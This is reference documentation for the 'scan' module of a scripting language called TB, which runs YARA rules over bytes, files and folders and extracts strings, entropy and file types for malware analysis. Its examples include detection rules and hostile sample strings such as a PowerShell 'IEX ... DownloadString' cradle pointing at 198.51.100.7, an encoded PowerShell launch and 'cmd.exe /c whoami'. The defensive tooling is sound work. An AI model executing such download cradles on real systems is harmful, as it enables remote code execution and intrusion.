TB v3.2.0

scan

Look for patterns in files and bytes with YARA rules: text (with nocase, wide, fullword, xor and base64), hex byte patterns with ?? wildcards and [n-m] jumps, and /regular expressions/, combined with a condition ($a and ($b or $c), 2 of them, #a > 3, @a[1] < 100, uint16(0) == 0x5A4D, for any i in (1..#a) : (...)). The pe, elf and math modules work too (pe.imphash(), pe.sections, math.entropy). Rules can be YARA text or plain TB maps; YARA features TB doesn't have give a precise error. Also pulls readable strings (ASCII and UTF-16) out of binary data. Limits: each string keeps its first 1,000 matches, so #a counts at most 1,000 (YARA goes to 1,000,000); a regex match stops after 4,096 bytes, as in YARA; regexes like (a+)+ that could backtrack for hours are refused.

import scan

Example

import scan

let rules = scan.rules("""
rule Suspicious_PowerShell {
  meta:
    description = "Encoded PowerShell launched from a script"
  strings:
    $ps = "powershell" nocase
    $enc = "-enc" nocase
    $mz = { 4D 5A ?? 00 }
  condition:
    $ps and ($enc or $mz)
}
""")

let sample = b"cmd /c PowerShell.exe -NoP -Enc SQBFAFgA... MZ\x90\x00"
for hit in scan.bytes(sample, rules) {
  say(f"{hit.rule} matched:", hit)
}
say(scan.strings(sample, 6))

Functions

rule(text)

returns map

Parse one YARA-style rule into a rule map. Fails with a plain explanation if the rule is broken. For several rules use scan.rules().

Fields

  • "name", "tags", "meta"
  • "strings" a list of {"name", "kind", "value", flags} maps.
  • "condition"
Visualizehow scan.rule works

scan.rule(scan.example) {"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high"…

scan.rule: inputs flowing into the function and the resulttextrule SuspiciousDownloader { strings: $a = "DownloadString" nocase $b = { 4D 5A ?? 00 } condition: $a and ($b or $c) }scan.ruleresult · the rule as a mapname"SuspiciousDownloader"tags[]meta{map}author"soc"severity"high"strings[list of 3]0{map}kind"text"value"DownloadString"nocasetruename"$a"

Real result: worked out by running this example with TB while the site was built.

rules(text)

returns list

Parse rule text holding one or more rules into a list of rule maps.

Visualizehow scan.rules works

scan.rules(scan.example + "\nrule Mimikatz { strings: $m = \"sekurlsa\" condition: $m }") [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.rules: inputs flowing into the function and the resulttextrule SuspiciousDownloader { ... }rule Mimikatz { ... }scan.rulesresult · one map per rulenameconditionSuspiciousDownloader$a and ($b or $c)Mimikatz$m

Real result: worked out by running this example with TB while the site was built.

load(path)

returns list

Read a .yar/.yara rules file and parse every rule in it.

Visualizehow scan.load works

scan.load("rules.yar") [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.load: inputs flowing into the function and the resultpathrules.yarscan.loadresult · every rule in the filenameconditionSuspiciousDownloader$a and ($b or $c)

Real result: worked out by running this example with TB while the site was built.

check(rules)

returns list

Validate rules (text, a map or a list) without scanning anything; gives back the canonical rule maps or fails with what is wrong.

Visualizehow scan.check works

scan.check(scan.example) [{"name": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.check: inputs flowing into the function and the resultrulesrule SuspiciousDownloader { ... }scan.checkresult · the checked rules (or a clear error)nameconditionSuspiciousDownloader$a and ($b or $c)rulesrule SuspiciousDownloader { ... }scan.checkstops with an errorscan.check() couldn't read thatrule: rule Broken: the conditionuses $x but no such string isdefined (line 1).

Real result: worked out by running this example with TB while the site was built.

bytes(data, rules)

returns list

Run rules over bytes (or text). Gives back one map per rule that matched. An empty list means no match.

Fields of each match

  • "rule", "tags", "meta", "count"
  • "strings" a list of {"name", "offset", "length", "data"} maps.
Visualizehow scan.bytes works

scan.bytes("MZ\x90\0 IEX (New-Object Net.WebClient).DownloadString(\"http://198.51.100.7/a\")", scan.example) [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.bytes: inputs flowing into the function and the resultdataMZ· IEX (New-ObjectNet.WebClient).DownloadString("http://198.51.100.7/a")rulesSuspiciousDownloader:$a and ($b or $c)scan.bytesresult · one map per rule that matched[list of 1]0{map}rule"SuspiciousDownloader"count2strings[list of 2]0{map}name"$a"offset37length14data"DownloadString"1{map}name"$c"

Real result: worked out by running this example with TB while the site was built.

file(path, rules)

returns list

Run rules over a file's bytes. Same result as scan.bytes(), with "path" added to every match.

Visualizehow scan.file works

scan.file("apps/data/sample.pcap", scan.example) [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.file: inputs flowing into the function and the resultpathapps/data/sample.pcaprulesSuspiciousDownloaderscan.fileresult · matches, each with the pathrulecountpathSuspiciousDo…2apps/data/sa…

Real result: worked out by running this example with TB while the site was built.

folder(dir, rules, options?)

returns list

Scan every file in a folder and its sub-folders. Gives back the matches from every file, each with "path". Files it can't read are skipped.

Options

  • recursive false scans only the folder itself, not its sub-folders.
  • max_size skip files bigger than this many bytes (default: 32 MB).
Visualizehow scan.folder works

scan.folder("apps/data", scan.example, {"recursive": true}) [{"rule": "SuspiciousDownloader", "tags": [], "meta": {"author": "soc", "severity": "high…

scan.folder: inputs flowing into the function and the resultdirapps/datarulesSuspiciousDownloaderoptions?recursivetruescan.folderresult · matches from every filerulepathcountSuspiciousDo…apps/data/sa…2

Real result: worked out by running this example with TB while the site was built.

strings(data, min?, limit?)

returns list

Readable strings in bytes, text or a file path, sorted by offset. It finds ASCII runs and UTF-16 (Windows wide) runs.

Arguments

  • min the fewest characters a string can have (default: 4).
  • limit the most strings to give back.

Fields of each string

  • "text", "offset", "encoding"
Visualizehow scan.strings works

scan.strings(b"\x00\x01http://198.51.100.7/a.ps1\x00\x02cmd.exe /c whoami\x00ab", 4, 10) [{"text": "http://198.51.100.7/a.ps1", "offset": 2, "encoding": "ascii"}, {"text": "cmd.e…

Drawing…

Real result: worked out by running this example with TB while the site was built.

file_type(path)

returns map

What a file really is, from its first bytes (not its name). Same as binary.file_type().

Fields

  • "type" like pe, elf, macho, pdf, zip, docx, png, pcap, evtx, script, text or unknown.
  • "description", "mime", "extension", "executable", "size"
Visualizehow scan.file_type works

scan.file_type("apps/data/sample.pcap") {"type": "pcap", "description": "Network capture (pcap)", "mime": "application/vnd.tcpdum…

scan.file_type: inputs flowing into the function and the resultpathapps/data/sample.pcapmagic byteslooks at the first bytes,not the namescan.file_typeresult · maptype"pcap"description"Network capture (pcap)"mime"application/vnd.tcpdump.pcap"executablefalsepathapps/data/sample.evtxmagic byteslooks at the first bytes,not the namescan.file_typeresult · maptype"evtx"description"Windows event log (EVTX)"mime"application/x-ms-evtx"executablefalsepathnotes.txtmagic byteslooks at the first bytes,not the namescan.file_typeresult · maptype"text"description"Plain text"mime"text/plain"executablefalse

Real result: worked out by running this example with TB while the site was built.

entropy(data)

returns number

Shannon entropy of bytes, text or a file path: 0 (all the same byte) to 8 (random). Above about 7.2 usually means compressed or encrypted.

Visualizehow scan.entropy works

scan.entropy("aaaa") 0

scan.entropy: inputs flowing into the function and the resultdataaaaascan.entropyresult · number0datahello worldscan.entropyresult · number2.845dataapps/data/sample.pcapscan.entropyresult · number5.337

Real result: worked out by running this example with TB while the site was built.

interesting(strings, limit?)

returns map

Sort extracted strings (from scan.strings) into what analysts look for: {"urls", "ips", "emails", "paths", "registry", "dlls", "commands"} (lists of unique text).

Visualizehow scan.interesting works

scan.interesting(scan.strings("http://198.51.100.7/a.ps1 HKLM\\Software\\Run kernel32.dll"), 5) {"urls": ["http://198.51.100.7/a.ps1"], "ips": ["198.51.100.7"], "emails": [], "paths": […

scan.interesting: inputs flowing into the function and the resultstringsstrings from scan.strings(...):http://198.51.100.7/a.ps1HKLM\Software\Runkernel32.dlllimit?5scan.interestingresult · sorted into what analysts look forurls["http://198.51.100.7/a.ps1"]ips["198.51.100.7"]emails[]paths[]registry["HKLM\\Software\\Run"]dlls["kernel32.dll"]commands[]

Real result: worked out by running this example with TB while the site was built.

Values

NameValueWhat it is
scan.example"rule SuspiciousDownloader {\n meta:\n author = \"soc\"\n severity = \...

A rule in the text form scan understands, to copy from.

Visualizehow scan.example works

scan.example "rule SuspiciousDownloader {\n meta:\n author = \"soc\"\n severity = \"h…

The value scan.examplescan.examplerule SuspiciousDownloader { meta: author = "soc" severity = "high" strings: $a = "DownloadString" nocase… 5 more lineswhat it isA rule in the text form scan understands,to copy from.

No inputs: call it as it is.

Real value, read from TB while the site was built.